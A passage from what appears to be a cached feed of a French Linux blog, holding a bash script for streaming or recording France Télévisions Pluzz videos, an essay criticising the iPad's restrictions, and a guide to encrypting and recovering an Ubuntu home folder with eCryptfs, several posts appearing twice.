stream_url_part2=$(wget -qO- "$video_page_url" | grep urls-url-video | sed 's/.*content="\(.*\)".*/\1/')
ext=${stream_url_part2##*.}

if [ "$ext" = 'wmv' ]
then
    stream_url_part1='mms://a988.v101995.c10199.e.vm.akamaistream.net/7/988/10199/3f97c7e6/ftvigrp.download.akamai.com/10199/cappuccino/production/publication'
elif [ "$ext" = 'mp4' ]
then
    stream_url_part1='rtmp://videozones-rtmp.francetv.fr/ondemand/mp4:cappuccino/publication'
else
    printf "Extension not managed : '$ext'\n" >&2
    exit 3
fi

stream_url="$stream_url_part1/$stream_url_part2"

if [ "$command" = "url" ]
then
    printf "$stream_url\n"
elif [ "$command" = "play" ]
then
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url"
    else
        flvstreamer -r "$stream_url" | vlc -
    fi
elif [ "$command" = "record" ]
then
    output_file=${stream_url##*/}
    printf "Recording to $output_file...\n"
    if [ "$ext" = 'wmv' ]
    then
        vlc "$stream_url" ":sout=#std{access=file,mux=asf,dst=$output_file}"
    else
        flvstreamer -r "$stream_url" -o "$output_file"
    fi
fi

EDIT 11/07/2010 : Le plus simple est de créer un fichier pluzz dans le dossier personnel, d’y recopier le script ci-dessus, et d’exécuter :

sudo install pluzz /usr/local/bin

Conclusion

Après s’être déjà fait remarqué par leur exclusivité avec Orange, j’espère que France Télévisions acceptera un jour de permettre l’accès à tous à la télévision de rattrapage.

";s:7:"dateiso";s:15:"20100706_165711";}s:15:"20100706_145711";a:7:{s:5:"title";s:82:"Pluzz.fr : France Télévisions lance son service de TV de rattrapage non lisible";s:4:"link";s:107:"http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible";s:4:"guid";s:107:"http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible";s:7:"pubDate";s:25:"2010-07-06T14:57:11+02:00";s:11:"description";s:0:"";s:7:"content";s:4506:"

france-televisions

Le 5 juillet (hier donc), France Télévisions a lancé son service de télévision de rattrapage, qui ne permet pas de lire les vidéos. À moins d’accepter d’installer un système d’exploitation particulier avec un logiciel particulier (propriétaires évidemment). C’est comme s’ils diffusaient leurs émissions uniquement pour les utilisateurs équipés d’une TV Sony ou Philips, et pas pour les autres… France Télévisions a simplement oublié que c’était un avant tout un service public.

Formats

La lecture des vidéos nécessite soit Windows Media Player, soit Silverlight. C’est dommage, il aurait été préférable que leur site soit du web, accessible à tous.

En plus de cela, les vidéos sont diffusées dans le format fermé WMV. Certaines contiennent même des DRM. Les DRM, pour rappel, c’est ce qui empêche les utilisateurs de lire le contenu proposé. Certains prétendent que ça permet d’empêcher la copier ; ce n’est pas totalement faux : quand on ne peut pas lire le contenu on ne peut pas le copier. Une autre technique plus efficace serait de ne pas le publier du tout.

En numérique, tout ce qui est lisible est copiable. Par contraposée, tout ce qui n’est pas copiable n’est pas lisible.

outil d’accès

comme france télévisions n’a pas fait son boulot d’interopérabilité, et qu’a priori chacun a droit d’accéder à ce service (public !), nous sommes obligés de nous débrouiller par nous-mêmes.

j’ai donc écrit un petit script bash qui permet d’accéder relativement simplement à pluzz à partir d’un système libre (où vlc doit être installé, testé sur ubuntu 10.04). pour l’utiliser, rendez-vous sur pluzz.fr, cliquez sur l’émission de votre choix, et copier l’adresse de la page (par exemple http://www.pluzz.fr/jt-20h.html).

ensuite, pour lire la vidéo, tapez :

pluzz play http://www.pluzz.fr/jt-20h.html

pour l’enregistrer (bah oui, tout ce qui est lisible est enregistrable) :

pluzz record http://www.pluzz.fr/jt-20h.html

si vous voulez simplement l’url du flux :

pluzz url http://www.pluzz.fr/jt-20h.html

Ceci ne fonctionnera que pour les vidéos sans DRM : les vidéos avec DRM ne sont pas lisibles.

EDIT : Pluzz a récemment changé la manière dont les vidéos sont diffusées. Le script que j’ai proposé ici ne fonctionnera donc plus pour une majorité de vidéos. Chaoswizard en a créé un nouveau, en Python pour prendre en compte ces changements.

Le plus simple maintenant est d’utiliser l’outil youtube-dl (qui, contrairement à ce que son nom pourrait laisser penser, ne télécharge pas que sur Youtube) :

sudo apt-get install youtube-dl

Script

Le script est disponible sous licence wtfpl sur ce dépôt git :

git clone http://git.rom1v.com/pluzz.git

(ou sur github).

Pour fonctionner, le paquet flvstreamer doit être installé :

sudo apt-get install flvstreamer

Le plus simple pour l’installer est de créer télécharger le script pluzz et d’exécuter :

sudo install pluzz /usr/local/bin

Conclusion

Après s’être déjà fait remarqué par leur exclusivité avec Orange, j’espère que France Télévisions acceptera un jour de permettre l’accès à tous à la télévision de rattrapage.

";s:7:"dateiso";s:15:"20100706_145711";}s:15:"20100603_174318";a:7:{s:5:"title";s:30:"Ce qui ne va pas dans l’iPad";s:4:"link";s:58:"http://blog.rom1v.com/2010/06/ce-qui-ne-va-pas-dans-lipad/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1592";s:7:"pubDate";s:31:"Thu, 03 Jun 2010 15:43:18 +0000";s:11:"description";s:356:"Depuis la sortie de l’iPad d’Apple, de nombreux articles ont été écrits sur le sujet. Jusqu’ici je me contentais de donner mon point de vue dans les commentaires des articles, mais j’ai finalement décidé de regrouper certaines de mes interventions pour en faire un billet de blog, et ainsi rajouter mes 2 centimes à tout [...]";s:7:"content";s:9759:"

Depuis la sortie de l’iPad d’Apple, de nombreux articles ont été écrits sur le sujet. Jusqu’ici je me contentais de donner mon point de vue dans les commentaires des articles, mais j’ai finalement décidé de regrouper certaines de mes interventions pour en faire un billet de blog, et ainsi rajouter mes 2 centimes à tout ce ramdam.

Liberté d’expression

Aussi bien l’iPhone que l’iPad portent atteinte à la liberté d’expression.

Un exemple est rapporté par Rue89 :

Mark Fiore s’est vu interdire son application iPhone, dont le but était de diffuser de petites animations. […] Son crime ? Apple considère que ces caricatures, « contiennent des éléments qui ridiculisent des personnages publics, en violation de la section 3.3.14 de l’iPhone Developer Program License Agreement. »

Voici ce que dit cette section :

« Une application peut être rejetée si elle diffuse un contenu (texte, graphique, dessin, photo, son) qu’Apple juge désobligeant, par exemple un contenu pornographique, obscène ou diffamant. »

Apple se fait juge à la place du juge, et décide arbitrairement de ce qui doit être censuré ou non.

Pourtant, l’article 11 de la déclaration des droits de l’Homme et du citoyen de 1789 dit :

« La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre à l’abus de cette liberté dans les cas déterminés par la loi. »

Pour des raisons évidentes, le terme « application » n’est pas présent dans le texte de l’article 11, mais on sent bien qu’une application peut être une forme d’expression, au même titre qu’un texte ou qu’une parole. En particulier, celle de l’exemple permettait de diffuser des animations, et son retrait a été exclusivement motivé par le fait qu’Apple les jugeaient désobligeantes. Sans autre forme de procès.

Il s’agit clairement d’une restriction à la liberté d’expression (qui est une liberté fondamentale) sans intervention de l’autorité judiciaire. Et c’est justement sur ce point que la loi HADOPI 1 a été censurée par le Conseil Constitutionnel le 10 juin 2009, dans son considérant 12 :

« Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 […] ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ; »

(c’est toujours un plaisir de le relire)

L’iPhone Developer Program License Agreement ne semble donc pas compatible avec la déclaration des droits de l’Homme et du citoyen de 1789. Rien que ça.

Cette restriction de la liberté d’expression a certes moins de conséquences que celle proposée par l’HADOPI, mais elle prend de l’importance avec le nombre d’appareils vendus. On ne peut donc pas la négliger.

C’est LEUR produit, mais…

Cette politique est pourtant ardemment défendue par de nombreux fans, avec l’argument massue « iPad, c’est le produit d’Apple, ils font ce qu’ils veulent, si t’es pas content, va voir ailleurs ».
Cet argument est bien sûr totalement fallacieux. Certes, c’est LEUR produit, mais qui est support de NOS données, de NOS accès, de NOS communications et d’une partie de NOTRE vie numérique… À partir de là, il est évident qu’ils n’ont pas la légitimité pour faire ce qu’ILS veulent.

De la même manière que si HP produit une imprimante, ils n’ont pas le droit de décider arbitrairement quels contenus NOUS avons le droit d’imprimer. Parce que c’est NOTRE contenu, pas le LEUR. Et ceci même si d’autres constructeurs produisent d’autres imprimantes.

Liberté d’utilisation

Les produits Apple sont souvent critiqués pour leur manque d’ouverture (c’est peu de le dire) et les restrictions à base de DRM intégrées à leur appareils. Ce qui leur vaut d’ailleurs le qualificatif de « défectueux par conception ». Pour répondre à ces critiques, l’argument du choix revient souvent : « si les utilisateurs l’achètent, c’est que cela ne les dérange pas, c’est leur choix ».

Certes, c’est leur choix. Mais d’une part, cela ne saurait interdire les critiques, et d’autre part, une question d’éducation est à prendre en compte. Pour expliciter ma pensée, je vais me risquer à une analogie avec Internet et les opérateurs. Dans les deux cas, le problème posé est celui de la neutralité.

Soit on a un accès Internet, auquel cas on a accès à tout (sauf dans certaines dictatures), soit on n’a pas d’accès Internet, auquel cas on n’a accès à rien. Une fois qu’on a un accès, ça ne coûte pas plus cher ni à l’utilisateur ni au fournisseur d’accès qu’on l’utilise pour faire du mail ou pour télécharger une page web. C’est LE fonctionnement intrinsèque d’Internet qui fait ça : le réseau ne différencie pas les contenus.

Mais pour un utilisateur lambda qui ne connaît pas Internet, si un opérateur lui propose un forfait mobile « Internet », mais où l’option mail est à 2€/mois, l’option Twitter est à 1€/mois et l’option Facebook est à 1€/mois, ça pourrait lui paraître « logique » : plus il paie, plus il a accès à des services. Nous, qui connaissons un peu Internet, comprenons bien que c’est inéquitable : l’opérateur a simplement mis en place un mécanisme qui permet de couper certains accès pour les revendre en plus en option, alors qu’aucune contrainte technique ni aucun investissement ne justifie cette facturation. Il s’agit ni plus ni moins d’une segmentation artificielle permettant de vendre plusieurs fois la même chose aux utilisateurs, cette pratique étant facilitée par l’ignorance d’une majorité de la population sur le fonctionnement d’Internet. Et ça mène à des dérives.

Là, c’est pareil, sur un ordinateur (au sens large), tout le monde a accès à tout, peut le bidouiller, y installer des programmes, ne pas être dépendant de tel ou tel éditeur, n’est pas contrôlé à distance par une entité maître. Chacun peut développer les applications et les mettre à la disposition des autres.

Sur un iPad, rien de tout cela. Seules les applications acceptées par le maître ont droit de vie, seulement si elles passent par le canal de distribution du maître (qui au passage force un monopole et permet une censure arbitraire). Le produit enferme les utilisateurs dans l’ensemble des technologies du maître (qui interdit d’utiliser autre chose). La liberté d’utilisation est donc sacrifiée.

Dire que si ça ne convenait pas aux gens ils n’achèteraient pas, c’est trop simpliste : combien de personnes ont conscience des enjeux qu’il y a derrière? Les journaux papier et télévisés ne parlent que de « ce merveilleux appareil qui va sauver la presse »… Le grand public ne saura pas qu’il est possible d’avoir le contrôle de son ordinateur. De la même manière que le grand public pourrait ne pas savoir qu’Internet, ça comprend le mail et que ça n’est pas une option, si la neutralité du net n’est pas défendue…

Conclusion

Voilà les points importants que j’avais en tête à propos de l’iPad, qui restreint à la fois la liberté d’expression et la liberté d’utilisation.
Il y aurait sans doute encore beaucoup de choses à dire sur le sujet…

";s:7:"dateiso";s:15:"20100603_174318";}s:15:"20100603_154318";a:7:{s:5:"title";s:28:"Ce qui ne va pas dans l'iPad";s:4:"link";s:57:"http://blog.rom1v.com/2010/06/ce-qui-ne-va-pas-dans-lipad";s:4:"guid";s:57:"http://blog.rom1v.com/2010/06/ce-qui-ne-va-pas-dans-lipad";s:7:"pubDate";s:25:"2010-06-03T15:43:18+02:00";s:11:"description";s:0:"";s:7:"content";s:9182:"

Depuis la sortie de l’iPad d’Apple, de nombreux articles ont été écrits sur le sujet. Jusqu’ici je me contentais de donner mon point de vue dans les commentaires des articles, mais j’ai finalement décidé de regrouper certaines de mes interventions pour en faire un billet de blog, et ainsi rajouter mes 2 centimes à tout ce ramdam.

Liberté d’expression

Aussi bien l’iPhone que l’iPad portent atteinte à la liberté d’expression.

Un exemple est rapporté par Rue89 :

Mark Fiore s’est vu interdire son application iPhone, dont le but était de diffuser de petites animations. […] Son crime ? Apple considère que ces caricatures, « contiennent des éléments qui ridiculisent des personnages publics, en violation de la section 3.3.14 de l’iPhone Developer Program License Agreement. »

Voici ce que dit cette section :

Une application peut être rejetée si elle diffuse un contenu (texte, graphique, dessin, photo, son) qu’Apple juge désobligeant, par exemple un contenu pornographique, obscène ou diffamant.

Apple se fait juge à la place du juge, et décide arbitrairement de ce qui doit être censuré ou non.

Pourtant, l’article 11 de la déclaration des droits de l’Homme et du citoyen de 1789 dit :

La libre communication des pensées et des opinions est un des droits les plus précieux de l’homme : tout citoyen peut donc parler, écrire, imprimer librement, sauf à répondre à l’abus de cette liberté dans les cas déterminés par la loi.

Pour des raisons évidentes, le terme “application” n’est pas présent dans le texte de l’article 11, mais on sent bien qu’une application peut être une forme d’expression, au même titre qu’un texte ou qu’une parole. En particulier, celle de l’exemple permettait de diffuser des animations, et son retrait a été exclusivement motivé par le fait qu’Apple les jugeait désobligeantes. Sans autre forme de procès.

Il s’agit clairement d’une restriction à la liberté d’expression (qui est une liberté fondamentale) sans intervention de l’autorité judiciaire. Et c’est justement sur ce point que la loi HADOPI 1 a été censurée par le Conseil Constitutionnel le 10 juin 2009, dans son considérant 12 :

Considérant qu’aux termes de l’article 11 de la Déclaration des droits de l’homme et du citoyen de 1789 […] ; qu’en l’état actuel des moyens de communication et eu égard au développement généralisé des services de communication au public en ligne ainsi qu’à l’importance prise par ces services pour la participation à la vie démocratique et l’expression des idées et des opinions, ce droit implique la liberté d’accéder à ces services ;

(c’est toujours un plaisir de le relire)

L’iPhone Developer Program License Agreement ne semble donc pas compatible avec la déclaration des droits de l’Homme et du citoyen de 1789. Rien que ça.

Cette restriction de la liberté d’expression a certes moins de conséquences que celle proposée par l’HADOPI, mais elle prend de l’importance avec le nombre d’appareils vendus. On ne peut donc pas la négliger.

C’est LEUR produit, mais…

Cette politique est pourtant ardemment défendue par de nombreux fans, avec l’argument massue « iPad, c’est le produit d’Apple, ils font ce qu’ils veulent, si t’es pas content, va voir ailleurs ». Cet argument est bien sûr totalement fallacieux. Certes, c’est LEUR produit, mais qui est support de NOS données, de NOS accès, de NOS communications et d’une partie de NOTRE vie numérique… À partir de là, il est évident qu’ils n’ont pas la légitimité pour faire ce qu’ILS veulent.

De la même manière que si HP produit une imprimante, ils n’ont pas le droit de décider arbitrairement quels contenus NOUS avons le droit d’imprimer. Parce que c’est NOTRE contenu, pas le LEUR. Et ceci même si d’autres constructeurs produisent d’autres imprimantes.

Liberté d’utilisation

Les produits Apple sont souvent critiqués pour leur manque d’ouverture (c’est peu de le dire) et les restrictions à base de DRM intégrées à leur appareils. Ce qui leur vaut d’ailleurs le qualificatif de « défectueux par conception ». Pour répondre à ces critiques, l’argument du choix revient souvent : « si les utilisateurs l’achètent, c’est que cela ne les dérange pas, c’est leur choix ».

Certes, c’est leur choix. Mais d’une part, cela ne saurait interdire les critiques, et d’autre part, une question d’éducation est à prendre en compte. Pour expliciter ma pensée, je vais me risquer à une analogie avec Internet et les opérateurs. Dans les deux cas, le problème posé est celui de la neutralité.

Soit on a un accès Internet, auquel cas on a accès à tout (sauf dans certaines dictatures), soit on n’a pas d’accès Internet, auquel cas on n’a accès à rien. Une fois qu’on a un accès, ça ne coûte pas plus cher ni à l’utilisateur ni au fournisseur d’accès qu’on l’utilise pour faire du mail ou pour télécharger une page web. C’est LE fonctionnement intrinsèque d’Internet qui fait ça : le réseau ne différencie pas les contenus.

Mais pour un utilisateur lambda qui ne connaît pas Internet, si un opérateur lui propose un forfait mobile “Internet”, mais où l’option mail est à 2€/mois, l’option Twitter est à 1€/mois et l’option Facebook est à 1€/mois, ça pourrait lui paraître “logique” : plus il paie, plus il a accès à des services.

Nous, qui connaissons un peu Internet, comprenons bien que c’est inéquitable : l’opérateur a simplement mis en place un mécanisme qui permet de couper certains accès pour les revendre en plus en option, alors qu’aucune contrainte technique ni aucun investissement ne justifie cette facturation. Il s’agit ni plus ni moins d’une segmentation artificielle permettant de vendre plusieurs fois la même chose aux utilisateurs, cette pratique étant facilitée par l’ignorance d’une majorité de la population sur le fonctionnement d’Internet. Et ça mène à des dérives.

Là, c’est pareil, sur un ordinateur (au sens large), tout le monde a accès à tout, peut le bidouiller, y installer des programmes, ne pas être dépendant de tel ou tel éditeur, n’est pas contrôlé à distance par une entité maître. Chacun peut développer les applications et les mettre à la disposition des autres.

Sur un iPad, rien de tout cela. Seules les applications acceptées par le maître ont droit de vie, seulement si elles passent par le canal de distribution du maître (qui au passage force un monopole et permet une censure arbitraire). Le produit enferme les utilisateurs dans l’ensemble des technologies du maître (qui interdit d’utiliser autre chose). La liberté d’utilisation est donc sacrifiée.

Dire que si ça ne convenait pas aux gens ils n’achèteraient pas, c’est trop simpliste : combien de personnes ont conscience des enjeux qu’il y a derrière ? Les journaux papier et télévisés ne parlent que de « ce merveilleux appareil qui va sauver la presse »… Le grand public ne saura pas qu’il est possible d’avoir le contrôle de son ordinateur. De la même manière que le grand public pourrait ne pas savoir qu’Internet, ça comprend le mail et que ça n’est pas une option, si la neutralité du net n’est pas défendue…

Conclusion

Voilà les points importants que j’avais en tête à propos de l’iPad, qui restreint à la fois la liberté d’expression et la liberté d’utilisation. Il y aurait sans doute encore beaucoup de choses à dire sur le sujet…

";s:7:"dateiso";s:15:"20100603_154318";}s:15:"20100516_171241";a:7:{s:5:"title";s:50:"Chiffrer son dossier personnel (/home) sous Ubuntu";s:4:"link";s:78:"http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=1476";s:7:"pubDate";s:31:"Sun, 16 May 2010 15:12:41 +0000";s:11:"description";s:376:"Ubuntu permet d’activer le chiffrement du dossier personnel lors de l’installation, grâce à eCryptfs. Pourquoi chiffrer son dossier personnel ? Parce que les documents personnels sont… personnels. La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données : il suffit de booter sur [...]";s:7:"content";s:17057:"

Ubuntu permet d’activer le chiffrement du dossier personnel lors de l’installation, grâce à eCryptfs.

Pourquoi chiffrer son dossier personnel ?

Parce que les documents personnels sont… personnels.
La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données : il suffit de booter sur un LiveCD pour récupérer les données en clair très simplement.

Ces données peuvent être de toutes sortes :

Quand on sait que certains se font voler leur identité pour bien moins que ça… Vous me direz, certains n’ont pas besoin de se faire voler leurs données, ils donnent volontairement tous leurs mails privés à Google et plein d’autres infos à Facebook, alors… </troll>

Stockage des mots de passe

Je souhaiterais faire une parenthèse sur le stockage des mots de passe (sur un disque dur non chiffré).

Sur un système GNU/Linux, a priori il y a un trousseau de clés. Les logiciels peuvent l’utiliser pour enregistrer les mots de passe de manière sûre, en les chiffrant par une passphrase (par défaut le mot de passe du compte). C’est le cas par exemple d’Evolution, d’Empathy, de Gwibber… Pour voir les mots de passe enregistrés, il suffit d’ouvrir Applications > Accessoires > Mots de passe et clés de chiffrement.

Mais il y a un grand absent dans la liste des logiciels qui le gèrent : Firefox. Firefox enregistre les mots de passe quasiment en clair ; c’est dommage, c’est à lui qu’on donne la majorité de nos mots de passe. Du coup, si j’accède à un disque dur non chiffré, je peux récupérer tous les mots de passe enregistrés dans Firefox. D’ailleurs, c’est très simple : Édition > Préférences > Sécurité > Mots de passe enregistrés… > Afficher les mots de passe (ça devrait inciter les gens à verrouiller leur session quand ils s’absentent plus de 5 secondes). Il y a bien une option « Utiliser un mot de passe principal », mais comme il n’est pas intégré au système, il faut le renseigner une fois par session Firefox (en plus du mot de passe système donc). Cela suffit à dissuader de l’activer.

Je ne sais pas si c’est prévu pour Firefox 4.0, mais je pense que la sécurité des mots de passe aurait été plus utile que des thèmes à la manière de WinAmp il y a 10 ans (pardon on dit des personas)…

Ceci donne un argument de plus pour chiffrer son dossier personnel… Parenthèse fermée.

Mise en place du chiffrement

Pour activer le chiffrement du dossier personnel lors de l’installation, il suffit de choisir la bonne option :

(je vous conseille aussi d’utiliser une partition séparée pour /home)

Et voilà, c’est tout.

Enfin, pas tout-à-fait, car quand on chiffre ses données, il est certes important qu’elles soient protégées, mais il y a quelque chose d’encore plus important, c’est qu’elles soient récupérables…

Nous allons donc voir comment ça fonctionne, comment récupérer les données, ce à quoi il faut faire attention, etc.

Principe

Le système utilise une clé (une passphrase) pour chiffrer toutes les données avant de les écrire sur le disque. Elle est générée automatiquement, et devra être notée quelque part (sur un bout de papier à garder précieusement). Cette clé est elle-même chiffrée par une passphrase, qui est le mot de passe du compte utilisateur. Ainsi, lors de la connexion de l’utilisateur, la clé pourra être déchiffrée et utilisée pour lire et écrire des données.

Il faut bien distinguer ces deux passphrases :

Tant que vous connaissez la passphrase de montage, vous pourrez récupérer vos données.
Si vous connaissez uniquement la passphrase de login, vous pourrez normalement récupérer la passphrase de montage (mais c’est plus sûr de garder dans un coin la passphrase de montage, car on peut effacer involontairement le fichier permettant de faire le lien).
Si vous ne connaissez aucune des deux, vos données sont définitivement perdues…

Physiquement, les dossiers chiffrés sont stockés dans /home/.ecryptfs/USER/.Private.
Les données servant au chiffrement et au déchiffrement sont dans /home/.ecryptfs/USER/.ecryptfs.
Le répertoire /home/USER, quant à lui, n’existe pas physiquement : c’est juste une « vue » déchiffrée du répertoire .Private.

Remarque : les noms de fichiers étant eux-aussi chiffrés, ils ne comportent physiquement pas le même nombre de caractères que le nom de fichier « en clair » (d’autant plus qu’ils contiennent un préfixe). Ceci a une conséquence : en EXT4 les noms de fichiers ne doivent pas dépasser 256 caractères, mais un nom de fichier « en clair » d’environ 140 caractères entraîne un nom de fichier chiffré de 256 caractères. Les noms de fichiers sont donc limités à environ 140 caractères sur un dossier chiffré…

Connaître la passphrase de montage

Une fois le système démarré, il est possible de connaître la passphrase de montage :

$ ecryptfs-unwrap-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476

D’ailleurs, lors du premier démarrage, Ubuntu vous demandera d’exécuter cette commande et de noter quelque part le résultat.

Pour récupérer cette passphrase sans que le système en question soit démarré (par exemple en accédant à la partition à partir d’un LiveCD), il faut préciser le fichier qui contient la passphrase de montage chiffrée :

$ ecryptfs-unwrap-passphrase /media/DISK/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase: (entrer ici la passphrase de login)
6ebf259226f1d0859e707eb4349a9476

Changer la passphrase de login

On ne peut pas changer facilement la passphrase de montage, car il faudrait alors rechiffrer toutes les données. Par contre, la passphrase de login peut être aisément changée (puisque seule la passphrase de montage sera à rechiffrer).

En pratique, ce changement est fait automatiquement lors d’un changement de mot de passe du compte utilisateur.

Pour la changer manuellement (attention, il ne sera plus possible de démarrer correctement si la passphrase de login ne correspond pas au mot de passe de connexion) :

$ ecryptfs-rewrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Old wrapping passphrase: (entrer ici l'ancienne passphrase de login)
New wrapping passphrase: (entrer ici la nouvelle passphrase de login)

Réinstaller le système d’exploitation

Pour réinstaller le système d’exploitation (par exemple pour y mettre une nouvelle version d’Ubuntu) en conservant son dossier personnel chiffré, il faut bien sûr avoir le /home sur une partition séparée, ne pas la formater lors de la nouvelle installation, mais il faut aussi utiliser le même login et le même mot de passe de connexion. Si vous respectez cette règle, vous n’avez rien de particulier à faire, tout est transparent.

Si vous avez changé le mot de passe, l’installation se déroule normalement sans avertissement, mais une fois le système installé, vous ne pourrez pas vous connecter (car vous n’avez pas de /home accessible). Si cela vous arrive, ce n’est pas bien grave, allez dans un TTY (Ctrl+Alt+F1), connectez-vous et changez manuellement votre passphrase de login (comme expliqué dans la section ci-dessus) pour la faire correspondre à votre mot de passe de connexion. Votre ancienne passphrase de login vous sera demandée.

Si malheureusement vous ne vous souvenez plus de votre ancienne passphrase de login (vous le faites exprès ou quoi ?), mais que vous possédez votre passphrase de montage, vous pouvez vous en sortir :

$ ecryptfs-wrap-passphrase /home/.ecryptfs/USER/.ecryptfs/wrapped-passphrase
Passphrase to wrap: (entrez ici la passphrase de montage)
Wrapped passphrase: (entrez ici la nouvelle passphrase de login)

Redémarrez le système, et normalement tout fonctionne.

Chiffrer son dossier personnel après installation

Il est également possible de chiffrer son dossier personnel une fois le système installé. Cependant, il y a une limitation très contraignante : il faut avoir comme espace libre 2,5× la taille de l’espace occupé par le dossier personnel, c’est-à-dire que la partition contenant /home ne doit pas être remplie à plus de 28%.

Avant toute chose, faire une sauvegarde sur un disque externe ou sur une autre machine (un problème pourrait entraîner la perte de toutes les données).

Le paquet ecryptfs-utils doit être installé :

sudo apt-get install ecryptfs-utils

La commande qui permet de migrer son home est ecyptfs-migrate-home. Cependant, aucune ressource de l’utilisateur du dossier personnel à migrer ne doit être utilisée (pas même un shell). On a donc besoin d’un autre utilisateur, par exemple root (provisoirement).

On réactive donc le compte root et on lui affecte un mot de passe :

sudo passwd root

Ensuite, il faut redémarrer la machine (déconnecter son compte ne suffit pas). Lors de l’écran de login, passer en TTY (Ctrl+Alt+F1), se connecter avec root, et exécuter :

ecryptfs-migrate-home -u USER

(en remplaçant USER par le nom de l’utilisateur dont le dossier personnel doit être migré)

Un peu de patience, il faut attendre un certain temps (qui se compte en heures selon la quantité de données et la puissance du processeur)…

Une fois terminé, se connecter avec l’utilisateur (repasser en mode graphique avec Ctrl+Alt+F7). Normalement tout doit fonctionner.
L’ancien dossier personnel (non chiffré) est dans /home/USER.xxxxxx.

Si tout s’est bien passé ce dossier doit être supprimé, et le compte root peut être désactivé :

sudo passwd --lock root

Récupérer ses données chiffrées

C’est la partie indispensable pour accepter d’utiliser un dossier personnel chiffré : être sûr de pouvoir récupérer ses données. Je vous conseille de tester cette procédure une fois le chiffrement mis en place.

Pour accéder aux données, il suffit d’un LiveCD d’une distribution avec un noyau Linux supérieur ou égal à 2.6.26. J’ai donc utilisé le LiveCD d’Ubuntu Lucid Lynx (10.04) pour mes tests, en m’inspirant de cette doc.

Tout d’abord, il faut monter la partition contenant les dossiers chiffrés (ça se fait graphiquement en cliquant sur le disque correspondant dans le menu Raccourcis). J’utiliserai l’emplacement /media/DISK comme exemple.

Tout ce que nous allons faire à partir de maintenant nécessite d’être root, passons donc root :

sudo -s

La signature de la clé de chiffrement des noms de fichiers sera nécessaire pour la suite :

root@ubuntu:/~# ecryptfs-add-passphrase --fnek
Passphrase: (entrer la passphrase de montage)
Inserted auth tok with sig [514d1d3af1a232cd] into the user session keyring
Inserted auth tok with sig [7890544814a5865f] into the user session keyring

C’est le code entre crochets de la dernière ligne qui est important.

On va monter le répertoire chiffré dans un répertoire qu’on va appeler decrypted, créons-le :

root@ubuntu:/~# mkdir decrypted

Ensuite, on monte et on répond aux questions :

root@ubuntu:/~# mount -t ecryptfs /media/DISK/.ecryptfs/USER/.Private decrypted
Selection [aes]:
Selection [16]:
Enable plaintext passthrough (y/n) [n]:
Enable filename encryption (y/n) [n]: y
Filename Encryption Key (FNEK) Signature [514d1d3af1a232cd]: 7890544814a5865f

(pour la FNEK, il faut bien préciser la signature qu’on a récupéré juste au-dessus)

Si tout s’est bien passé :

Attempting to mount with the following options:
  ecryptfs_unlink_sigs
  ecryptfs_fnek_sig=7890544814a5865f
  ecryptfs_key_bytes=16
  ecryptfs_cipher=aes
  ecryptfs_sig=514d1d3af1a232d
Mounted eCryptfs

Les données sont maintenant accessibles:

root@ubuntu:~# ls decrypted
Bureau     examples.desktop  Modèles  Public           Vidéos
Documents  Images            Musique  Téléchargements

Pour démonter:

root@ubuntu:~# umount decrypted

Conclusion

Je pense qu’on a fait le tour de l’essentiel à savoir pour chiffrer son dossier personnel et pouvoir récupérer ses données. J’en ai profité pour chiffrer celui de mon ordinateur portable, tout fonctionne très bien.

Il faut cependant être conscient de deux choses.

Tout d’abord, les données personnelles ne sont pas présentes uniquement dans le répertoire /home, elles sont copiées dans /tmp, dans la RAM, dans le SWAP (il est également possible de chiffrer le SWAP, grâce à ecryptfs-setup-swap), etc. Le chiffrement est donc une étape essentielle dans la protection des données, mais il faut comprendre ce que ça protège (voir à ce sujet le guide d’autodéfense numérique).

Ensuite, ce chiffrement est là pour protéger la vie privée, pas pour cacher quelque chose à la justice. D’une part, le code pénal prévoit une peine de 3 ans et 45000€ d’amende pour refus de fournir la convention secrète de déchiffrement (autrement dit la clé). D’autre part, pour des sujets graves, nul doute que les États mettront les moyens pour casser la clé (qui est relativement faible, car proportionnée à l’objectif à atteindre, à savoir la protection de la vie privée).

Pour utiliser le chiffrement pour des communications plutôt que pour le stockage des données, vous pouvez consulter GnuPG : chiffrer et signer sous Ubuntu pour les nuls.

Amusez-vous bien.

";s:7:"dateiso";s:15:"20100516_171241";}s:15:"20100516_151241";a:7:{s:5:"title";s:50:"Chiffrer son dossier personnel (/home) sous Ubuntu";s:4:"link";s:77:"http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu";s:4:"guid";s:77:"http://blog.rom1v.com/2010/05/chiffrer-son-dossier-personnel-home-sous-ubuntu";s:7:"pubDate";s:25:"2010-05-16T15:12:41+02:00";s:11:"description";s:0:"";s:7:"content";s:17822:"

Ubuntu permet d’activer le chiffrement du dossier personnel lors de l’installation, grâce à eCryptfs.

Pourquoi chiffrer son dossier personnel ?

Parce que les documents personnels sont… personnels.

La demande du mot de passe à la connexion ou lors de la sortie de mise en veille ne protège absolument pas les données : il suffit de booter sur un LiveCD pour récupérer les données en clair très simplement.

Ces données peuvent être de toutes sortes :

Quand on sait que certains se font voler leur identité pour bien moins que ça… Vous me direz, certains n’ont pas besoin de se faire voler leurs données, ils donnent volontairement tous leurs mails privés à Google et plein d’autres infos à Facebook, alors… </troll>

Stockage des mots de passe

Je souhaiterais faire une parenthèse sur le stockage des mots de passe (sur un disque dur non chiffré).

